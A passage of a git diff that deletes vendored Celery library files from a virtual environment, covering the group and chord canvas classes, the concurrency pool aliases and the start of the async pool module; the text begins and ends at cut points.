that represents a group. - - Example: - >>> group_dict = { - "task": "celery.group", - "args": [], - "kwargs": { - "tasks": [ - { - "task": "add", - "args": [ - 1, - 2 - ], - "kwargs": {}, - "options": {}, - "subtask_type": None, - "immutable": False - }, - { - "task": "add", - "args": [ - 3, - 4 - ], - "kwargs": {}, - "options": {}, - "subtask_type": None, - "immutable": False - } - ] - }, - "options": {}, - "subtask_type": "group", - "immutable": False - } - >>> group_sig = group.from_dict(group_dict) - - Iterates over the given tasks in the dictionary and convert them to signatures. - Tasks needs to be defined in d['kwargs']['tasks'] as a sequence - of tasks. - - The tasks themselves can be dictionaries or signatures (or both). - """ - # We need to mutate the `kwargs` element in place to avoid confusing - # `freeze()` implementations which end up here and expect to be able to - # access elements from that dictionary later and refer to objects - # canonicalized here - orig_tasks = d["kwargs"]["tasks"] - d["kwargs"]["tasks"] = rebuilt_tasks = type(orig_tasks)( - maybe_signature(task, app=app) for task in orig_tasks - ) - return cls(rebuilt_tasks, app=app, **d['options']) - - def __init__(self, *tasks, **options): - if len(tasks) == 1: - tasks = tasks[0] - if isinstance(tasks, group): - tasks = tasks.tasks - if isinstance(tasks, abstract.CallableSignature): - tasks = [tasks.clone()] - if not isinstance(tasks, _regen): - # May potentially cause slow downs when using a - # generator of many tasks - Issue #6973 - tasks = regen(tasks) - super().__init__('celery.group', (), {'tasks': tasks}, **options - ) - self.subtask_type = 'group' - - def __call__(self, *partial_args, **options): - return self.apply_async(partial_args, **options) - - def __or__(self, other): - # group() | task -> chord - return chord(self, body=other, app=self._app) - - def skew(self, start=1.0, stop=None, step=1.0): - # TODO: Not sure if this is still used anywhere (besides its own tests). Consider removing. - it = fxrange(start, stop, step, repeatlast=True) - for task in self.tasks: - task.set(countdown=next(it)) - return self - - def apply_async(self, args=None, kwargs=None, add_to_parent=True, - producer=None, link=None, link_error=None, **options): - args = args if args else () - if link is not None: - raise TypeError('Cannot add link to group: use a chord') - if link_error is not None: - raise TypeError( - 'Cannot add link to group: do that on individual tasks') - app = self.app - if app.conf.task_always_eager: - return self.apply(args, kwargs, **options) - if not self.tasks: - return self.freeze() - - options, group_id, root_id = self._freeze_gid(options) - tasks = self._prepared(self.tasks, [], group_id, root_id, app) - p = barrier() - results = list(self._apply_tasks(tasks, producer, app, p, - args=args, kwargs=kwargs, **options)) - result = self.app.GroupResult(group_id, results, ready_barrier=p) - p.finalize() - - # - Special case of group(A.s() | group(B.s(), C.s())) - # That is, group with single item that's a chain but the - # last task in that chain is a group. - # - # We cannot actually support arbitrary GroupResults in chains, - # but this special case we can. - if len(result) == 1 and isinstance(result[0], GroupResult): - result = result[0] - - parent_task = app.current_worker_task - if add_to_parent and parent_task: - parent_task.add_trail(result) - return result - - def apply(self, args=None, kwargs=None, **options): - args = args if args else () - kwargs = kwargs if kwargs else {} - app = self.app - if not self.tasks: - return self.freeze() # empty group returns GroupResult - options, group_id, root_id = self._freeze_gid(options) - tasks = self._prepared(self.tasks, [], group_id, root_id, app) - return app.GroupResult(group_id, [ - sig.apply(args=args, kwargs=kwargs, **options) for sig, _, _ in tasks - ]) - - def set_immutable(self, immutable): - for task in self.tasks: - task.set_immutable(immutable) - - def stamp(self, visitor=None, append_stamps=False, **headers): - visitor_headers = None - if visitor is not None: - visitor_headers = visitor.on_group_start(self, **headers) or {} - headers = self._stamp_headers(visitor_headers, append_stamps, **headers) - self.stamp_links(visitor, append_stamps, **headers) - - if isinstance(self.tasks, _regen): - self.tasks.map(_partial(_stamp_regen_task, visitor=visitor, append_stamps=append_stamps, **headers)) - else: - new_tasks = [] - for task in self.tasks: - task = maybe_signature(task, app=self.app) - task.stamp(visitor, append_stamps, **headers) - new_tasks.append(task) - if isinstance(self.tasks, MutableSequence): - self.tasks[:] = new_tasks - else: - self.tasks = new_tasks - - if visitor is not None: - visitor.on_group_end(self, **headers) - - def link(self, sig): - # Simply link to first task. Doing this is slightly misleading because - # the callback may be executed before all children in the group are - # completed and also if any children other than the first one fail. - # - # The callback signature is cloned and made immutable since it the - # first task isn't actually capable of passing the return values of its - # siblings to the callback task. - sig = sig.clone().set(immutable=True) - return self.tasks[0].link(sig) - - def link_error(self, sig): - # Any child task might error so we need to ensure that they are all - # capable of calling the linked error signature. This opens the - # possibility that the task is called more than once but that's better - # than it not being called at all. - # - # We return a concretised tuple of the signatures actually applied to - # each child task signature, of which there might be none! - sig = maybe_signature(sig) - - return tuple(child_task.link_error(sig.clone(immutable=True)) for child_task in self.tasks) - - def _prepared(self, tasks, partial_args, group_id, root_id, app, - CallableSignature=abstract.CallableSignature, - from_dict=Signature.from_dict, - isinstance=isinstance, tuple=tuple): - """Recursively unroll the group into a generator of its tasks. - - This is used by :meth:`apply_async` and :meth:`apply` to - unroll the group into a list of tasks that can be evaluated. - - Note: - This does not change the group itself, it only returns - a generator of the tasks that the group would evaluate to. - - Arguments: - tasks (list): List of tasks in the group (may contain nested groups). - partial_args (list): List of arguments to be prepended to - the arguments of each task. - group_id (str): The group id of the group. - root_id (str): The root id of the group. - app (Celery): The Celery app instance. - CallableSignature (class): The signature class of the group's tasks. - from_dict (fun): Function to create a signature from a dict. - isinstance (fun): Function to check if an object is an instance - of a class. - tuple (class): A tuple-like class. - - Returns: - generator: A generator for the unrolled group tasks. - The generator yields tuples of the form ``(task, AsyncResult, group_id)``. - """ - for index, task in enumerate(tasks): - if isinstance(task, CallableSignature): - # local sigs are always of type Signature, and we - # clone them to make sure we don't modify the originals. - task = task.clone() - else: - # serialized sigs must be converted to Signature. - task = from_dict(task, app=app) - if isinstance(task, group): - # needs yield_from :( - unroll = task._prepared( - task.tasks, partial_args, group_id, root_id, app, - ) - yield from unroll - else: - if partial_args and not task.immutable: - task.args = tuple(partial_args) + tuple(task.args) - yield task, task.freeze(group_id=group_id, root_id=root_id, group_index=index), group_id - - def _apply_tasks(self, tasks, producer=None, app=None, p=None, - add_to_parent=None, chord=None, - args=None, kwargs=None, group_index=None, **options): - """Run all the tasks in the group. - - This is used by :meth:`apply_async` to run all the tasks in the group - and return a generator of their results. - - Arguments: - tasks (list): List of tasks in the group. - producer (Producer): The producer to use to publish the tasks. - app (Celery): The Celery app instance. - p (barrier): Barrier object to synchronize the tasks results. - args (list): List of arguments to be prepended to - the arguments of each task. - kwargs (dict): Dict of keyword arguments to be merged with - the keyword arguments of each task. - **options (dict): Options to be merged with the options of each task. - - Returns: - generator: A generator for the AsyncResult of the tasks in the group. - """ - # pylint: disable=redefined-outer-name - # XXX chord is also a class in outer scope. - app = app or self.app - with app.producer_or_acquire(producer) as producer: - # Iterate through tasks two at a time. If tasks is a generator, - # we are able to tell when we are at the end by checking if - # next_task is None. This enables us to set the chord size - # without burning through the entire generator. See #3021. - chord_size = 0 - tasks_shifted, tasks = itertools.tee(tasks) - next(tasks_shifted, None) - next_task = next(tasks_shifted, None) - - for task_index, current_task in enumerate(tasks): - # We expect that each task must be part of the same group which - # seems sensible enough. If that's somehow not the case we'll - # end up messing up chord counts and there are all sorts of - # awful race conditions to think about. We'll hope it's not! - sig, res, group_id = current_task - chord_obj = chord if chord is not None else sig.options.get("chord") - # We need to check the chord size of each contributing task so - # that when we get to the final one, we can correctly set the - # size in the backend and the chord can be sensible completed. - chord_size += _chord._descend(sig) - if chord_obj is not None and next_task is None: - # Per above, sanity check that we only saw one group - app.backend.set_chord_size(group_id, chord_size) - sig.apply_async(producer=producer, add_to_parent=False, - chord=chord_obj, args=args, kwargs=kwargs, - **options) - # adding callback to result, such that it will gradually - # fulfill the barrier. - # - # Using barrier.add would use result.then, but we need - # to add the weak argument here to only create a weak - # reference to the object. - if p and not p.cancelled and not p.ready: - p.size += 1 - res.then(p, weak=True) - next_task = next(tasks_shifted, None) - yield res # <-- r.parent, etc set in the frozen result. - - def _freeze_gid(self, options): - """Freeze the group id by the existing task_id or a new UUID.""" - # remove task_id and use that as the group_id, - # if we don't remove it then every task will have the same id... - options = {**self.options, **{ - k: v for k, v in options.items() - if k not in self._IMMUTABLE_OPTIONS or k not in self.options - }} - options['group_id'] = group_id = ( - options.pop('task_id', uuid())) - return options, group_id, options.get('root_id') - - def _freeze_group_tasks(self, _id=None, group_id=None, chord=None, - root_id=None, parent_id=None, group_index=None): - """Freeze the tasks in the group. - - Note: - If the group tasks are created from a generator, the tasks generator would - not be exhausted, and the tasks would be frozen lazily. - - Returns: - tuple: A tuple of the group id, and the AsyncResult of each of the group tasks. - """ - # pylint: disable=redefined-outer-name - # XXX chord is also a class in outer scope. - opts = self.options - try: - gid = opts['task_id'] - except KeyError: - gid = opts['task_id'] = group_id or uuid() - if group_id: - opts['group_id'] = group_id - if chord: - opts['chord'] = chord - if group_index is not None: - opts['group_index'] = group_index - root_id = opts.setdefault('root_id', root_id) - parent_id = opts.setdefault('parent_id', parent_id) - if isinstance(self.tasks, _regen): - # When the group tasks are a generator, we need to make sure we don't - # exhaust it during the freeze process. We use two generators to do this. - # One generator will be used to freeze the tasks to get their AsyncResult. - # The second generator will be used to replace the tasks in the group with an unexhausted state. - - # Create two new generators from the original generator of the group tasks (cloning the tasks). - tasks1, tasks2 = itertools.tee(self._unroll_tasks(self.tasks)) - # Use the first generator to freeze the group tasks to acquire the AsyncResult for each task. - results = regen(self._freeze_tasks(tasks1, group_id, chord, root_id, parent_id)) - # Use the second generator to replace the exhausted generator of the group tasks. - self.tasks = regen(tasks2) - else: - new_tasks = [] - # Need to unroll subgroups early so that chord gets the - # right result instance for chord_unlock etc. - results = list(self._freeze_unroll( - new_tasks, group_id, chord, root_id, parent_id, - )) - if isinstance(self.tasks, MutableSequence): - self.tasks[:] = new_tasks - else: - self.tasks = new_tasks - return gid, results - - def freeze(self, _id=None, group_id=None, chord=None, - root_id=None, parent_id=None, group_index=None): - return self.app.GroupResult(*self._freeze_group_tasks( - _id=_id, group_id=group_id, - chord=chord, root_id=root_id, parent_id=parent_id, group_index=group_index - )) - - _freeze = freeze - - def _freeze_tasks(self, tasks, group_id, chord, root_id, parent_id): - """Creates a generator for the AsyncResult of each task in the tasks argument.""" - yield from (task.freeze(group_id=group_id, - chord=chord, - root_id=root_id, - parent_id=parent_id, - group_index=group_index) - for group_index, task in enumerate(tasks)) - - def _unroll_tasks(self, tasks): - """Creates a generator for the cloned tasks of the tasks argument.""" - # should be refactored to: (maybe_signature(task, app=self._app, clone=True) for task in tasks) - yield from (maybe_signature(task, app=self._app).clone() for task in tasks) - - def _freeze_unroll(self, new_tasks, group_id, chord, root_id, parent_id): - """Generator for the frozen flattened group tasks. - - Creates a flattened list of the tasks in the group, and freezes - each task in the group. Nested groups will be recursively flattened. - - Exhausting the generator will create a new list of the flattened - tasks in the group and will return it in the new_tasks argument. - - Arguments: - new_tasks (list): The list to append the flattened tasks to. - group_id (str): The group_id to use for the tasks. - chord (Chord): The chord to use for the tasks. - root_id (str): The root_id to use for the tasks. - parent_id (str): The parent_id to use for the tasks. - - Yields: - AsyncResult: The frozen task. - """ - # pylint: disable=redefined-outer-name - # XXX chord is also a class in outer scope. - stack = deque(self.tasks) - group_index = 0 - while stack: - task = maybe_signature(stack.popleft(), app=self._app).clone() - # if this is a group, flatten it by adding all of the group's tasks to the stack - if isinstance(task, group): - stack.extendleft(task.tasks) - else: - new_tasks.append(task) - yield task.freeze(group_id=group_id, - chord=chord, root_id=root_id, - parent_id=parent_id, - group_index=group_index) - group_index += 1 - - def __repr__(self): - if self.tasks: - return remove_repeating_from_task( - self.tasks[0]['task'], - f'group({self.tasks!r})') - return 'group()' - - def __len__(self): - return len(self.tasks) - - @property - def app(self): - app = self._app - if app is None: - try: - app = self.tasks[0].app - except LookupError: - pass - return app if app is not None else current_app - - -@Signature.register_type(name="chord") -class _chord(Signature): - r"""Barrier synchronization primitive. - - A chord consists of a header and a body. - - The header is a group of tasks that must complete before the callback is - called. A chord is essentially a callback for a group of tasks. - - The body is applied with the return values of all the header - tasks as a list. - - Example: - - The chord: - - .. code-block:: pycon - - >>> res = chord([add.s(2, 2), add.s(4, 4)])(sum_task.s()) - - is effectively :math:`\Sigma ((2 + 2) + (4 + 4))`: - - .. code-block:: pycon - - >>> res.get() - 12 - """ - - @classmethod - def from_dict(cls, d, app=None): - """Create a chord signature from a dictionary that represents a chord. - - Example: - >>> chord_dict = { - "task": "celery.chord", - "args": [], - "kwargs": { - "kwargs": {}, - "header": [ - { - "task": "add", - "args": [ - 1, - 2 - ], - "kwargs": {}, - "options": {}, - "subtask_type": None, - "immutable": False - }, - { - "task": "add", - "args": [ - 3, - 4 - ], - "kwargs": {}, - "options": {}, - "subtask_type": None, - "immutable": False - } - ], - "body": { - "task": "xsum", - "args": [], - "kwargs": {}, - "options": {}, - "subtask_type": None, - "immutable": False - } - }, - "options": {}, - "subtask_type": "chord", - "immutable": False - } - >>> chord_sig = chord.from_dict(chord_dict) - - Iterates over the given tasks in the dictionary and convert them to signatures. - Chord header needs to be defined in d['kwargs']['header'] as a sequence - of tasks. - Chord body needs to be defined in d['kwargs']['body'] as a single task. - - The tasks themselves can be dictionaries or signatures (or both). - """ - options = d.copy() - args, options['kwargs'] = cls._unpack_args(**options['kwargs']) - return cls(*args, app=app, **options) - - @staticmethod - def _unpack_args(header=None, body=None, **kwargs): - # Python signatures are better at extracting keys from dicts - # than manually popping things off. - return (header, body), kwargs - - def __init__(self, header, body=None, task='celery.chord', - args=None, kwargs=None, app=None, **options): - args = args if args else () - kwargs = kwargs if kwargs else {'kwargs': {}} - super().__init__(task, args, - {**kwargs, 'header': _maybe_group(header, app), - 'body': maybe_signature(body, app=app)}, app=app, **options - ) - self.subtask_type = 'chord' - - def __call__(self, body=None, **options): - return self.apply_async((), {'body': body} if body else {}, **options) - - def __or__(self, other): - if (not isinstance(other, (group, _chain)) and - isinstance(other, Signature)): - # chord | task -> attach to body - sig = self.clone() - sig.body = sig.body | other - return sig - elif isinstance(other, group) and len(other.tasks) == 1: - # chord | group -> chain with chord body. - # unroll group with one member - other = maybe_unroll_group(other) - sig = self.clone() - sig.body = sig.body | other - return sig - else: - return super().__or__(other) - - def freeze(self, _id=None, group_id=None, chord=None, - root_id=None, parent_id=None, group_index=None): - # pylint: disable=redefined-outer-name - # XXX chord is also a class in outer scope. - if not isinstance(self.tasks, group): - self.tasks = group(self.tasks, app=self.app) - # first freeze all tasks in the header - header_result = self.tasks.freeze( - parent_id=parent_id, root_id=root_id, chord=self.body) - self.id = self.tasks.id - # secondly freeze all tasks in the body: those that should be called after the header - - body_result = None - if self.body: - body_result = self.body.freeze( - _id, root_id=root_id, chord=chord, group_id=group_id, - group_index=group_index) - # we need to link the body result back to the group result, - # but the body may actually be a chain, - # so find the first result without a parent - node = body_result - seen = set() - while node: - if node.id in seen: - raise RuntimeError('Recursive result parents') - seen.add(node.id) - if node.parent is None: - node.parent = header_result - break - node = node.parent - - return body_result - - def stamp(self, visitor=None, append_stamps=False, **headers): - tasks = self.tasks - if isinstance(tasks, group): - tasks = tasks.tasks - - visitor_headers = None - if visitor is not None: - visitor_headers = visitor.on_chord_header_start(self, **headers) or {} - headers = self._stamp_headers(visitor_headers, append_stamps, **headers) - self.stamp_links(visitor, append_stamps, **headers) - - if isinstance(tasks, _regen): - tasks.map(_partial(_stamp_regen_task, visitor=visitor, append_stamps=append_stamps, **headers)) - else: - stamps = headers.copy() - for task in tasks: - task.stamp(visitor, append_stamps, **stamps) - - if visitor is not None: - visitor.on_chord_header_end(self, **headers) - - if visitor is not None and self.body is not None: - visitor_headers = visitor.on_chord_body(self, **headers) or {} - headers = self._stamp_headers(visitor_headers, append_stamps, **headers) - self.body.stamp(visitor, append_stamps, **headers) - - def apply_async(self, args=None, kwargs=None, task_id=None, - producer=None, publisher=None, connection=None, - router=None, result_cls=None, **options): - args = args if args else () - kwargs = kwargs if kwargs else {} - args = (tuple(args) + tuple(self.args) - if args and not self.immutable else self.args) - body = kwargs.pop('body', None) or self.kwargs['body'] - kwargs = dict(self.kwargs['kwargs'], **kwargs) - body = body.clone(**options) - app = self._get_app(body) - tasks = (self.tasks.clone() if isinstance(self.tasks, group) - else group(self.tasks, app=app, task_id=self.options.get('task_id', uuid()))) - if app.conf.task_always_eager: - with allow_join_result(): - return self.apply(args, kwargs, - body=body, task_id=task_id, **options) - - merged_options = dict(self.options, **options) if options else self.options - option_task_id = merged_options.pop("task_id", None) - if task_id is None: - task_id = option_task_id - - # chord([A, B, ...], C) - return self.run(tasks, body, args, task_id=task_id, kwargs=kwargs, **merged_options) - - def apply(self, args=None, kwargs=None, - propagate=True, body=None, **options): - args = args if args else () - kwargs = kwargs if kwargs else {} - body = self.body if body is None else body - tasks = (self.tasks.clone() if isinstance(self.tasks, group) - else group(self.tasks, app=self.app)) - return body.apply( - args=(tasks.apply(args, kwargs).get(propagate=propagate),), - ) - - @classmethod - def _descend(cls, sig_obj): - """Count the number of tasks in the given signature recursively. - - Descend into the signature object and return the amount of tasks it contains. - """ - # Sometimes serialized signatures might make their way here - if not isinstance(sig_obj, Signature) and isinstance(sig_obj, dict): - sig_obj = Signature.from_dict(sig_obj) - if isinstance(sig_obj, group): - # Each task in a group counts toward this chord - subtasks = getattr(sig_obj.tasks, "tasks", sig_obj.tasks) - return sum(cls._descend(task) for task in subtasks) - elif isinstance(sig_obj, _chain): - # The last non-empty element in a chain counts toward this chord - for child_sig in sig_obj.tasks[-1::-1]: - child_size = cls._descend(child_sig) - if child_size > 0: - return child_size - # We have to just hope this chain is part of some encapsulating - # signature which is valid and can fire the chord body - return 0 - elif isinstance(sig_obj, chord): - # The child chord's body counts toward this chord - return cls._descend(sig_obj.body) - elif isinstance(sig_obj, Signature): - # Each simple signature counts as 1 completion for this chord - return 1 - # Any other types are assumed to be iterables of simple signatures - return len(sig_obj) - - def __length_hint__(self): - """Return the number of tasks in this chord's header (recursively).""" - tasks = getattr(self.tasks, "tasks", self.tasks) - return sum(self._descend(task) for task in tasks) - - def run(self, header, body, partial_args, app=None, interval=None, - countdown=1, max_retries=None, eager=False, - task_id=None, kwargs=None, **options): - """Execute the chord. - - Executing the chord means executing the header and sending the - result to the body. In case of an empty header, the body is - executed immediately. - - Arguments: - header (group): The header to execute. - body (Signature): The body to execute. - partial_args (tuple): Arguments to pass to the header. - app (Celery): The Celery app instance. - interval (float): The interval between retries. - countdown (int): The countdown between retries. - max_retries (int): The maximum number of retries. - task_id (str): The task id to use for the body. - kwargs (dict): Keyword arguments to pass to the header. - options (dict): Options to pass to the header. - - Returns: - AsyncResult: The result of the body (with the result of the header in the parent of the body). - """ - app = app or self._get_app(body) - group_id = header.options.get('task_id') or uuid() - root_id = body.options.get('root_id') - options = dict(self.options, **options) if options else self.options - if options: - options.pop('task_id', None) - body.options.update(options) - - body_task_id = task_id or uuid() - bodyres = body.freeze(body_task_id, group_id=group_id, root_id=root_id) - - # Chains should not be passed to the header tasks. See #3771 - options.pop('chain', None) - # Neither should chords, for deeply nested chords to work - options.pop('chord', None) - options.pop('task_id', None) - - header_result_args = header._freeze_group_tasks(group_id=group_id, chord=body, root_id=root_id) - - if header.tasks: - app.backend.apply_chord( - header_result_args, - body, - interval=interval, - countdown=countdown, - max_retries=max_retries, - ) - header_result = header.apply_async(partial_args, kwargs, task_id=group_id, **options) - # The execution of a chord body is normally triggered by its header's - # tasks completing. If the header is empty this will never happen, so - # we execute the body manually here. - else: - body.delay([]) - header_result = self.app.GroupResult(*header_result_args) - - bodyres.parent = header_result - return bodyres - - def clone(self, *args, **kwargs): - signature = super().clone(*args, **kwargs) - # need to make copy of body - try: - signature.kwargs['body'] = maybe_signature( - signature.kwargs['body'], clone=True) - except (AttributeError, KeyError): - pass - return signature - - def link(self, callback): - """Links a callback to the chord body only.""" - self.body.link(callback) - return callback - - def link_error(self, errback): - """Links an error callback to the chord body, and potentially the header as well. - - Note: - The ``task_allow_error_cb_on_chord_header`` setting controls whether - error callbacks are allowed on the header. If this setting is - ``False`` (the current default), then the error callback will only be - applied to the body. - """ - errback = maybe_signature(errback) - - if self.app.conf.task_allow_error_cb_on_chord_header: - for task in maybe_list(self.tasks) or []: - task.link_error(errback.clone(immutable=True)) - else: - # Once this warning is removed, the whole method needs to be refactored to: - # 1. link the error callback to each task in the header - # 2. link the error callback to the body - # 3. return the error callback - # In summary, up to 4 lines of code + updating the method docstring. - warnings.warn( - "task_allow_error_cb_on_chord_header=False is pending deprecation in " - "a future release of Celery.\n" - "Please test the new behavior by setting task_allow_error_cb_on_chord_header to True " - "and report any concerns you might have in our issue tracker before we make a final decision " - "regarding how errbacks should behave when used with chords.", - CPendingDeprecationWarning - ) - - # Edge case for nested chords in the header - for task in maybe_list(self.tasks) or []: - if isinstance(task, chord): - # Let the nested chord do the error linking itself on its - # header and body where needed, based on the current configuration - task.link_error(errback) - - self.body.link_error(errback) - return errback - - def set_immutable(self, immutable): - """Sets the immutable flag on the chord header only. - - Note: - Does not affect the chord body. - - Arguments: - immutable (bool): The new mutability value for chord header. - """ - for task in self.tasks: - task.set_immutable(immutable) - - def __repr__(self): - if self.body: - if isinstance(self.body, _chain): - return remove_repeating_from_task( - self.body.tasks[0]['task'], - '%({} | {!r})'.format( - self.body.tasks[0].reprcall(self.tasks), - chain(self.body.tasks[1:], app=self._app), - ), - ) - return '%' + remove_repeating_from_task( - self.body['task'], self.body.reprcall(self.tasks)) - return f'' - - @cached_property - def app(self): - return self._get_app(self.body) - - def _get_app(self, body=None): - app = self._app - if app is None: - try: - tasks = self.tasks.tasks # is a group - except AttributeError: - tasks = self.tasks - if tasks: - app = tasks[0]._app - if app is None and body is not None: - app = body._app - return app if app is not None else current_app - - tasks = getitem_property('kwargs.header', 'Tasks in chord header.') - body = getitem_property('kwargs.body', 'Body task of chord.') - - -# Add a back-compat alias for the previous `chord` class name which conflicts -# with keyword arguments elsewhere in this file -chord = _chord - - -def signature(varies, *args, **kwargs): - """Create new signature. - - - if the first argument is a signature already then it's cloned. - - if the first argument is a dict, then a Signature version is returned. - - Returns: - Signature: The resulting signature. - """ - app = kwargs.get('app') - if isinstance(varies, dict): - if isinstance(varies, abstract.CallableSignature): - return varies.clone() - return Signature.from_dict(varies, app=app) - return Signature(varies, *args, **kwargs) - - -subtask = signature # XXX compat - - -def maybe_signature(d, app=None, clone=False): - """Ensure obj is a signature, or None. - - Arguments: - d (Optional[Union[abstract.CallableSignature, Mapping]]): - Signature or dict-serialized signature. - app (celery.Celery): - App to bind signature to. - clone (bool): - If d' is already a signature, the signature - will be cloned when this flag is enabled. - - Returns: - Optional[abstract.CallableSignature] - """ - if d is not None: - if isinstance(d, abstract.CallableSignature): - if clone: - d = d.clone() - elif isinstance(d, dict): - d = signature(d) - - if app is not None: - d._app = app - return d - - -maybe_subtask = maybe_signature # XXX compat diff --git a/venv/Lib/site-packages/celery/concurrency/__init__.py b/venv/Lib/site-packages/celery/concurrency/__init__.py deleted file mode 100644 index 4953f463f01863fe3a5663d2a795434bfbd957fc..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/concurrency/__init__.py +++ /dev/null @@ -1,48 +0,0 @@ -"""Pool implementation abstract factory, and alias definitions.""" -import os - -# Import from kombu directly as it's used -# early in the import stage, where celery.utils loads -# too much (e.g., for eventlet patching) -from kombu.utils.imports import symbol_by_name - -__all__ = ('get_implementation', 'get_available_pool_names',) - -ALIASES = { - 'prefork': 'celery.concurrency.prefork:TaskPool', - 'eventlet': 'celery.concurrency.eventlet:TaskPool', - 'gevent': 'celery.concurrency.gevent:TaskPool', - 'solo': 'celery.concurrency.solo:TaskPool', - 'processes': 'celery.concurrency.prefork:TaskPool', # XXX compat alias -} - -try: - import concurrent.futures # noqa -except ImportError: - pass -else: - ALIASES['threads'] = 'celery.concurrency.thread:TaskPool' -# -# Allow for an out-of-tree worker pool implementation. This is used as follows: -# -# - Set the environment variable CELERY_CUSTOM_WORKER_POOL to the name of -# an implementation of :class:`celery.concurrency.base.BasePool` in the -# standard Celery format of "package:class". -# - Select this pool using '--pool custom'. -# -try: - custom = os.environ.get('CELERY_CUSTOM_WORKER_POOL') -except KeyError: - pass -else: - ALIASES['custom'] = custom - - -def get_implementation(cls): - """Return pool implementation by name.""" - return symbol_by_name(cls, ALIASES) - - -def get_available_pool_names(): - """Return all available pool type names.""" - return tuple(ALIASES.keys()) diff --git a/venv/Lib/site-packages/celery/concurrency/asynpool.py b/venv/Lib/site-packages/celery/concurrency/asynpool.py deleted file mode 100644 index 10783847a96d6c53cee84edac6ef3e162f6718c9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/concurrency/asynpool.py +++ /dev/null @@ -1,1386 +0,0 @@ -"""Version of multiprocessing.Pool using Async I/O. - -.. note:: - - This module will be moved soon, so don't use it directly. - -This is a non-blocking version of :class:`multiprocessing.Pool`. - -This code deals with three major challenges: - -#. Starting up child processes and keeping them running. -#. Sending jobs to the processes and receiving results back. -#. Safely shutting down this system. -""" -import errno -import gc -import inspect -import os -import select -import time -from collections import Counter, deque, namedtuple -from io import BytesIO -from numbers import Integral -from pickle import HIGHEST_PROTOCOL -from struct import pack, unpack, unpack_from -from time import sleep -from weakref import WeakValueDictionary, ref - -from billiard import pool as _pool -from billiard.compat import isblocking, setblocking -from billiard.pool import ACK, NACK, RUN, TERMINATE, WorkersJoined -from billiard.queues import _SimpleQueue -from kombu.asynchronous import ERR, WRITE -from kombu.serialization import pickle as _pickle -from kombu.utils.eventio import SELECT_BAD_FD -from kombu.utils.functional import fxrange -from vine import promise - -from celery.signals import worker_before_create_process -from celery.utils.functional import noop -from celery.utils.log import get_logger -from celery.worker import state as worker_state - -# pylint: disable=redefined-outer-name -# We cache globals and attribute lookups, so disable this warning. - -try: - from _billiard import read as __read__ - readcanbuf = True - -except ImportError: - - def __read__(fd, buf, size, read=os.read): - chunk = read(fd, size) - n = len(chunk) - if n != 0: - buf.write(chunk) - return n - readcanbuf = False - - def unpack_from(fmt, iobuf, unpack=unpack): # noqa - return unpack(fmt, iobuf.getvalue()) # <-- BytesIO - -__all__ = ('AsynPool',) - -logger = get_logger(__name__) -error, debug = logger.error, logger.debug - -UNAVAIL = frozenset({errno.EAGAIN, errno.EINTR}) - -#: Constant sent by child process when started (ready to accept work) -WORKER_UP = 15 - -#: A process must've started before this timeout (in secs.) expires. -PROC_ALIVE_TIMEOUT = 4.0 - -SCHED_STRATEGY_FCFS = 1 -SCHED_STRATEGY_FAIR = 4 - -SCHED_STRATEGIES = { - None: SCHED_STRATEGY_FAIR, - 'default': SCHED_STRATEGY_FAIR, - 'fast': SCHED_STRATEGY_FCFS, - 'fcfs': SCHED_STRATEGY_FCFS, - 'fair': SCHED_STRATEGY_FAIR, -} -SCHED_STRATEGY_TO_NAME = {v: k for k, v in SCHED_STRATEGIES.items()} - -Ack = namedtuple('Ack', ('id', 'fd', 'payload')) - - -def gen_not_started(gen): - """Return true if generator is not started.""" - return inspect.getgeneratorstate(gen) == "GEN_CREATED" - - -def _get_job_writer(job): - try: - writer = job._writer - except AttributeError: - pass - else: - return writer() # is a weakref - - -def _ensure_integral_fd(fd): - return fd if isinstance(fd, Integral) else fd.fileno() - - -if hasattr(select, 'poll'): - def _select_imp(readers=None, writers=None, err=None, timeout=0, - poll=select.poll, POLLIN=select.POLLIN, - POLLOUT=select.POLLOUT, POLLERR=select.POLLERR): - poller = poll() - register = poller.register - fd_to_mask = {} - - if readers: - for fd in map(_ensure_integral_fd, readers): - fd_to_mask[fd] = fd_to_mask.get(fd, 0) | POLLIN - if writers: - for fd in map(_ensure_integral_fd, writers): - fd_to_mask[fd] = fd_to_mask.get(fd, 0) | POLLOUT - if err: - for fd in map(_ensure_integral_fd, err): - fd_to_mask[fd] = fd_to_mask.get(fd, 0) | POLLERR - - for fd, event_mask in fd_to_mask.items(): - register(fd, event_mask) - - R, W = set(), set() - timeout = 0 if timeout and timeout < 0 else round(timeout * 1e3) - events = poller.poll(timeout) - for fd, event in events: - if event & POLLIN: - R.add(fd) - if event & POLLOUT: - W.add(fd) - if event & POLLERR: - R.add(fd) - return R, W, 0 -else: - def _select_imp(readers=None, writers=None, err=None, timeout=0): - r, w, e = select.select(readers, writers, err, timeout) - if e: - r = list(set(r) | set(e)) - return r, w, 0 - - -def _select(readers=None, writers=None, err=None, timeout=0, - poll=_select_imp): - """Simple wrapper to :class:`~select.select`, using :`~select.poll`. - - Arguments: - readers (Set[Fd]): Set of reader fds to test if readable. - writers (Set[Fd]): Set of writer fds to test if writable. - err (Set[Fd]): Set of fds to test for error condition. - - All fd sets passed must be mutable as this function - will remove non-working fds from them, this also means - the caller must make sure there are still fds in the sets - before calling us again. - - Returns: - Tuple[Set, Set, Set]: of ``(readable, writable, again)``, where - ``readable`` is a set of fds that have data available for read, - ``writable`` is a set of fds that's ready to be written to - and ``again`` is a flag that if set means the caller must - throw away the result and call us again. - """ - readers = set() if readers is None else readers - writers = set() if writers is None else writers - err = set() if err is None else err - try: - return poll(readers, writers, err, timeout) - except OSError as exc: - _errno = exc.errno - - if _errno == errno.EINTR: - return set(), set(), 1 - elif _errno in SELECT_BAD_FD: - for fd in readers | writers | err: - try: - select.select([fd], [], [], 0) - except OSError as exc: - _errno = exc.errno - - if _errno not in SELECT_BAD_FD: - raise - readers.discard(fd) - writers.discard(fd) - err.discard(fd) - return set(), set(), 1 - else: - raise - - -def iterate_file_descriptors_safely(fds_iter, source_data, - hub_method, *args, **kwargs): - """Apply hub method to fds in iter, remove from list if failure. - - Some file descriptors may become stale through OS reasons - or possibly other reasons, so safely manage our lists of FDs. - :param fds_iter: the file descriptors to iterate and apply hub_method - :param source_data: data source to remove FD if it renders OSError - :param hub_method: the method to call with each fd and kwargs - :*args to pass through to the hub_method; - with a special syntax string '*fd*' represents a substitution - for the current fd object in the iteration (for some callers). - :**kwargs to pass through to the hub method (no substitutions needed) - """ - def 